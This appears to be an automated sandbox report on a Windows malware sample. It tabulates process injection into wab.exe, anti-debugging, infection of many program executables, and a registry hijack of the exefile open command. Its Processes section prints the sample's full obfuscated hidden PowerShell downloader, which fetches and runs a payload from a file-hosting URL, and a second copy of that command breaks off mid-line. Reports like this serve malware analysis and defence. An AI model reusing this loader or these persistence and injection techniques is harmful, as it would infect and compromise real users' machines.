Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1912 set thread context of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\WMPDMC.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\misc.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\OIS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CLVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI4223~1\sidebar.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\WinMail.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\TextConv\WksConv\Wkconv.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2080 wrote to memory of 1964	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 1964	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 1964	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 2744	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 2744	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 2744	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 1964 wrote to memory of 1912	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 1912	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 1912	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1964 wrote to memory of 1912	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1912 wrote to memory of 2700	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1912 wrote to memory of 2700	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1912 wrote to memory of 2700	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1912 wrote to memory of 2700	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1912 wrote to memory of 1884	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\las.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$sublicense = 1;$Solbatteri='Sub';$Solbatteri+='strin';$Solbatteri+='g';Function Udvindende($Twistende){$Lastelinie=$Twistende.Length-$sublicense;For($Firblok=5;$Firblok -lt $Lastelinie;$Firblok+=6){$lunelsen+=$Twistende.$Solbatteri.Invoke( $Firblok, $sublicense);}$lunelsen;}function Unschool($Squimmidge){. ($Jetmotoren) ($Squimmidge);}$Pedicures=Udvindende 'TestiMMiljloInterzShel iMil.elCol.clBifigaOvers/Stepp5Ne kw. A er0Ego r Konku(IndskWin vii.ernin kaksdTrilloByggewKoreisDu,st O,debN XenoTPrisl Matem1Unher0 Inla.Pr,fa0Samme;Ote.t BrnesW ,isciAureanSenso6Under4glyce; ihra NotatxSoci 6 F.ap4Terzi; Honn Gyro.rHoultv S,ns:spell1Oli.t2Indbl1s end.Capit0Kratt)C,oic genetGRysteePremac,mudskNonuboDevis/ S or2Misdd0.dgan1Misha0Stjyd0Velst1Haa d0 S,ip1.ndig NoradFOr iei nergrSe ereDy.tbfFluoroIndpaxSludr/Mod.r1spu.r2 Smut1Ugl,d.Ingra0Se ue ';$Privileged=Udvindende 'Ob,diUA.dsesMsk,ne ,arar Matr-Jord.AUterog reeseBe trnTe.tatDis i ';$Sprngningers=Udvindende 'juncah,ripyt Sfyrtsupr.pFa.lesF,rpo:Prunt/Argum/ D.scwElskowMumifw hers.DollasacidoeSemilnmisled lyndsImparpKendea unnic ugeaeThist.DokhacOmnipo ugtim.allw/Curetp O firStipuoGl zi/Guerid SkablBa st/JogurwIntralVitr oShirtrSamfuhSlvsmsSk,dk ';$Forlovede=Udvindende 'Rel,a>R,kla ';$Jetmotoren=Udvindende 'Cor,ii KliseCuchix Kyse ';$Tendrilous='Handleformerne';$Veta13 = Udvindende 'SkytseCentrcAllithUnguio Tu.i ,ndka%mbleraMonocp IntepForstd FiliaHikketTeg,vaya.ne% Ou.w\CytopFVetere,likvtSa.tltA.riglMelleeJakob.TugteHToilfaUn,ernPuebl Folk&Nonpa&L.dar Xx.ndeDeamic RegihIncanoRhila Betint.agua ';Unschool (Udvindende 'Flo,r$CyprigLevnelSluk oUns ib In.laCompulR,tsf:NedgrSovertaSjofllUdsteuSorbet Druke waver.uadresnil,r Samo=Hneky(YderzcNain m Compd arga Helt/HetercDekup ,ylli$AskebVDusineFlowetHal,taFar,e1 Akva3Tjrne) aktf ');Unschool (Udvindende ' Ustk$Teh ng Ddssl,ndeloSentibRetiraSaddll Thor:SacchFP.erelUdgandNavernSeedeiKphesn Ove,gGrnsesIndstt UndeiArched alkieDisk,n Ove,sRatin=Inter$.tultS Sentp UdvirBenzin vantgP rapnKis.liD,rignposefgSub eeTravbr Nonss Mand. GinnsRnerepAllesl SmediAktiotMinke( Rejs$antifFJ sovoNer,orW.resl StrooCheefvNaadseBirdidTree e Fi.s)Gulds ');$Sprngningers=$Fldningstidens[0];$Unaccidented180= (Udvindende 'Phyll$AffejgSandwlbolvro K inbL peaaHac,bl Jagt:LngstBSiolaa HarrsProtoiAllemc Tornh De.mrClassoMell mcutt iForr oKalibl SkrfeC.nce=Remi NXericeGreenw arry-N.npeOkajakbUvejsj Zoquebioc,cAlgovt Rotu .nchSconvey GeogsTermitRetteeBerrimRoege.H gisN.antaeInductGtehu.Gr ndWEr bre S,lvbHolocCMargal Aktai ko.oeLocasn usigt');$Unaccidented180+=$Saluterer[1];Unschool ($Unaccidented180);Unschool (Udvindende 'Disle$ski,dB.aphoaRejems De.fiBage c ProchUnshirVip.tod alymcurviiStalaoMichelZon,neWall,.Ko.seHFiskeeU.cita speldDezine N.herSentisTaste[ Pulv$SmagsPStjerr Th riUnderv FanaiTillalP.odue TurbgKonveeTilskdmorfo]Ubety=E hel$ PlanPHoarseEkspod Molli holdcOrdinuHiplir SysteP.pulsHydro ');$Fuglevildts=Udvindende 'smert$RgrelBStou,aCountsMylari,rasic.illehSi narMortmoHo.opm mateil brroConchlHus.oe lash.A.ophD SammoSti nw Analn RetilDag,ro TheraSuba.d Re.oFZittaiPae,nlUdrejeEr at(Garli$KorreSAkillpRedrer NetvnI,comgFormun PolyiPhenynBrutagJav neTapetr AlkasShera, Klip$MiljvR InsueUdtolgDeckhnForsks ,ampkRe.etaPoch.bEvi,asUlrdhlNow,noHaincvMangfe.egyns Slaa)Vikka ';$Regnskabsloves=$Saluterer[0];Unschool (Udvindende 'Frimu$KoncegBremslPolybolumbrbFru.ta UnfolFejlv:fore,MQ irky SvensVidertidle.iirefakGra,ieDenatrP osen Vesteopera=Smage(indsbT Shi eCh zds DaektDelet-SkattP S amaRestutProx.h P.ss Assib$S,rewREndage MayfgPresunBrodeshved.k .ricaKun,ebSolsysCap tlSnawooMurphvFloreeAnt.kstombs)schiz ');while (!$Mystikerne) {Unschool (Udvindende 'Unexp$Exi,sgLivstl Oc,ioTuarebada.taChapalKerne: UtaaU.ardcnInadepS,nica DrgrrMon,loMelanl Tumuenati dtwof,= Do.a$UferptSte,mr BanguD tabeTrafi ') ;Unschool $Fuglevildts;Unschool (Udvindende 'OrestSunwoutUnrumaDisg rErst tA.ter-OpvasSIndhulMadrieC.emeeFricapmu tr Produ4Snker ');Unschool (Udvindende ' Afkr$algaeg.ekstl Bl.koEtaerbSaigaaTermil ugge:.edebM otatyUdelis okl.tDepthiNdrinkV,reieAnantrCos,vnCap.we fst.= Nrin(CircuTentereUd elsAuspitDybva-ElocaP S,utaSolb,tTilsihSwash Orien$.mlgnR spaleFiskegDr.ftnMul ssUnslokPabula FaldbWro.hsNonrelo.avuoAvlshv uftweDyrtisVk.tr)Confi ') ;Unschool (Udvindende 'Timar$ UdefgMell lA ospoAb ombDepreaLunatlCro i:BrndeSDu.pieArmlem Uoplp FaciiBaglytAfmoneAsketrUne inGar laAlle l ryd=loopf$Mult gHejrelba sao nspebStrafaRhinol Tus,:Baja.F Basta PjatsProdutInterlJunkeaSnowde Bldgg xarcgToplae SurfsD tid+ okse+Monkl%Opr.l$TarifFTzitzlAsserdTu,nhnLussii Jammn FredgGravisPenget BankiIndbldLandfeWynefn ,ribsInkie. DvekcLedeloSpl.juStrean F,lttBrndv ') ;$Sprngningers=$Fldningstidens[$Sempiternal];}$Erstatningsfri=301739;$Capanne=29374;Unschool (Udvindende ',andr$Chrong isthlDipl oAmet.bPenneaAdaw.lRnner:KundeBDaikeikarollapprefVirker,orosaSuperg,nraatIdenteGriphrForsg Skjal=Misvi ChapeGGulddeMtg,otTr.wl-UdlaaC.arstoAll rnVandrtDialle m,ntnY gadtKedso Nonpl$SpndeRA,dreeFlighgReg.onRi dasMiniskMckniaVarmeb BrodsJernbl Nor,oAfsk vUnsadeAfdrysdrevb ');Unschool (Udvindende ' .ntt$RevolgBrusel ublaoEng obPyntsaSk delSprjt:LderiS udbyvBrddeeSv skd Aarse Nonmk.ryggu rsterleddeeUnikan Multe Skuf Over,= rist Steen[Kil eSMirexy.nforsRe.owtKi noe El.emfiefe.CorelCAfskroIndusnTrivivFo.edeSitu,rBurdstAlbes]Linie:Jumps:FaradFVealyrLommeoMythomR,forBStyreaEffuss Cagie Pr.g6Presc4 TymbS Ci,rtNontrrMetatiSpo,enPaadugTech (Tryka$CaracBHoeviiImporlSagfrf HentrKinseaGesitgShirrtLiotre U.varTempe)Seleu ');Unschool (Udvindende 'Autop$ZorrigHalvalUbeslo Py,sb.ruppaKon ol.nfor:ExtraT Un.ei Max lH.bbesOldweiDeunak D sprUdvidiUnfe,nBradegTalg. F,ers=Udsal Afre,[MarinShonilyUnfriscpositdissieWess mSag,b.DumpoT,ulleeEcto x LavrtCha h. Ud eEAnisonRebalcSterioBl erdHjem,iD.catnsu.figHa dl]Irrec:Viges:pantoAOvergSM rtiCUnfoiIA.tfuI,uthe.Bl baGkel eeRevertIdeasSTy.patTrafirPaph.iAzoxinOverbg Un o( Clem$ PipiSDebilvVokseeAnte.dElvereMi,roku deruPartir Mod.espirinBarbee Takk)Juckr ');Unschool (Udvindende 'Shurg$IntergAlarmlReorgoMongobC.oicaBoatal,elin:SourdOStrenwMaha.e,amelrVerdet,raada RolleS,pernCelle= Skru$Bro cTOve siProfilSubg.sSub eiCo,dekU yrlrEgetbi,ogienUnthegsinni.FjollsFortvuInar.bMaximsMos stF.rsgrAdvi i.tockn,ydisgTreef( Avia$IncorEKeelbr.enjis aksltIveliaKnlentRepolnSkrmbi DenonraptugpreexsDriftf .onkrSrgefiMat r,Afske$,hinnCHypnoaGrsgap,lumpaBlas.nLawnlnFisk e Ek p)Hy,ro ');Unschool $Owertaen;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$sublicense = 1;$Solbatteri='Sub';$Solbatteri+='strin';$Solbatteri+='g';Function Udvindende($Twistende){$Lastelinie=$Twistende.Length-$sublicense;For($Firblok=5;$Firblok -lt $Lastelinie;$Firblok+=6){$lunelsen+=$Twistende.$Solbatteri.Invoke( $Firblok, $sublicense);}$lunelsen;}function Unschool($Squimmidge){. ($Jetmotoren) ($Squimmidge);}$Pedicures=Udvindende 'TestiMMiljloInterzShel iMil.elCol.clBifigaOvers/Stepp5Ne kw. A er0Ego r Konku(IndskWin vii.ernin kaksdTrilloByggewKoreisDu,st O,debN XenoTPrisl Matem1Unher0 Inla.Pr,fa0Samme;Ote.t BrnesW ,isciAureanSenso6Under4glyce; ihra NotatxSoci 6 F.ap4Terzi; Honn Gyro.rHoultv S,ns:spell1Oli.t2Indbl1s end.Capit0Kratt)C,oic genetGRysteePremac,mudskNonuboDevis/ S or2Misdd0.dgan1Misha0Stjyd0Velst1Haa d0 S,ip1.ndig NoradFOr iei nergrSe ereDy.tbfFluoroIndpaxSludr/Mod.r1spu.r2 Smut1Ugl,d.Ingra0Se ue ';$Privileged=Udvindende 'Ob,diUA.dsesMsk,ne ,arar Matr-Jord.AUterog reeseBe trnTe.tatDis i ';$Sprngningers=Udvindende 'juncah,ripyt Sfyrtsupr.pFa.lesF,rpo:Prunt/Argum/ D.scwElskowMumifw hers.DollasacidoeSemilnmisled lyndsImparpKendea unnic ugeaeThist.DokhacOmnipo ugtim.allw/Curetp O firStipuoGl zi/Guerid SkablBa st/JogurwIntralVitr oShirtrSamfuhSlvsmsSk,dk ';$Forlovede=Udvindende 'Rel,a>R,kla ';$Jetmotoren=Udvindende 'Cor,ii KliseCuchix Kyse ';$Tendrilous='Handleformerne';$Veta13 = Udvindende 'SkytseCentrcAllithUnguio Tu.i ,ndka%mbleraMonocp IntepForstd FiliaHikketTeg,vaya.ne% Ou.w\CytopFVetere,likvtSa.tltA.riglMelleeJakob.TugteHToilfaUn,ernPuebl Folk&Nonpa&L.dar Xx.ndeDeamic RegihIncanoRhila Betint.agua ';Unschool (Udvindende 'Flo,r$CyprigLevnelSluk oUns ib In.laCompulR,tsf:NedgrSovertaSjofllUdsteuSorbet Druke waver.uadresnil,r Samo=Hneky(YderzcNain m Compd arga Helt/HetercDekup ,ylli$AskebVDusineFlowetHal,taFar,e1 Akva3Tjrne) aktf ');Unschool (Udvindende ' Ustk$Teh ng Ddssl,ndeloSentibRetiraSaddll Thor:SacchFP.erelUdgandNavernSeedeiKphesn Ove,gGrnsesIndstt UndeiArched alkieDisk,n Ove,sRatin=Inter$.tultS Sentp UdvirBenzin vantgP rapnKis.liD,rignposefgSub eeTravbr Nonss Mand. GinnsRnerepAllesl SmediAktiotMinke( Rejs$antifFJ sovoNer,orW.resl StrooCheefvNaadseBirdidTree e Fi.s)Gulds ');$Sprngningers=$Fldningstidens[0];$Unaccidented180= (Udvindende 'Phyll$AffejgSandwlbolvro K inbL peaaHac,bl Jagt:LngstBSiolaa HarrsProtoiAllemc Tornh De.mrClassoMell mcutt iForr oKalibl SkrfeC.nce=Remi NXericeGreenw arry-N.npeOkajakbUvejsj Zoquebioc,cAlgovt Rotu .nchSconvey GeogsTermitRetteeBerrimRoege.H gisN.antaeInductGtehu.Gr ndWEr bre S,lvbHolocCMargal Aktai ko.oeLocasn usigt');$Unaccidented180+=$Saluterer[1];Unschool ($Unaccidented180);Unschool (Udvindende 'Disle$ski,dB.aphoaRejems De.fiBage c ProchUnshirVip.tod alymcurviiStalaoMichelZon,neWall,.Ko.seHFiskeeU.cita speldDezine N.herSentisTaste[ Pulv$SmagsPStjerr Th riUnderv FanaiTillalP.odue TurbgKonveeTilskdmorfo]Ubety=E hel$ PlanPHoarseEkspod Molli holdcOrdinuHiplir SysteP.pulsHydro ');$Fuglevildts=Udvindende 'smert$RgrelBStou,aCountsMylari,rasic.illehSi narMortmoHo.opm mateil brroConchlHus.oe lash.A.ophD SammoSti nw Analn RetilDag,ro TheraSuba.d Re.oFZittaiPae,nlUdrejeEr at(Garli$KorreSAkillpRedrer NetvnI,comgFormun PolyiPhenynBrutagJav neTapetr AlkasShera, Klip$MiljvR InsueUdtolgDeckhnForsks ,ampkRe.etaPoch.bEvi,asUlrdhlNow,noHaincvMangfe.egyns Slaa)Vikka ';$Regnskabsloves=$Saluterer[0];Unschool (Udvindende 'Frimu$KoncegBremslPolybolumbrbFru.ta UnfolFejlv:fore,MQ irky SvensVidertidle.iirefakGra,ieDenatrP osen Vesteopera=Smage(indsbT Shi eCh zds DaektDelet-SkattP S amaRestutProx.h P.ss Assib$S,rewREndage MayfgPresunBrodeshved.k .ricaKun,ebSolsysCap tlSnawooMurphvFloreeAnt.kstombs)schiz ');while (!$Mystikerne) {Unschool (Udvindende 'Unexp$Exi,sgLivstl Oc,ioTuarebada.taChapalKerne: UtaaU.ardcnInadepS,nica DrgrrMon,loMelanl Tumuenati dtwof,= Do.a$UferptSte,mr BanguD tabeTrafi ') ;Unschool $Fuglevildts;Unschool (Udvindende 'OrestSunwoutUnrumaDisg rErst tA.ter-OpvasSIndhulMadrieC.emeeFricapmu tr Produ4Snker ');Unschool (Udvindende ' Afkr$algaeg.ekstl Bl.koEtaerbSaigaaTermil ugge:.edebM otatyUdelis okl.tDepthiNdrinkV,reieAnantrCos,vnCap.we fst.= Nrin(CircuTentereUd elsAuspitDybva-ElocaP S,utaSolb,tTilsihSwash Orien$.mlgnR spaleFiskegDr.ftnMul ssUnslokPabula FaldbWro.hsNonrelo.avuoAvlshv uftweDyrtisVk.tr)Confi ') ;Unschool (Udvindende 'Timar$ UdefgMell lA ospoAb ombDepreaLunatlCro i:BrndeSDu.pieArmlem Uoplp FaciiBaglytAfmoneAsketrUne inGar laAlle l ryd=loopf$Mult gHejrelba sao nspebStrafaRhinol Tus,:Baja.F Basta PjatsProdutInterlJunkeaSnowde Bldgg xarcgToplae SurfsD tid+ okse+Monkl%Opr.l$TarifFTzitzlAsserdTu,nhnLussii Jammn FredgGravisPenget BankiIndbldLandfeWynefn ,ribsInkie. 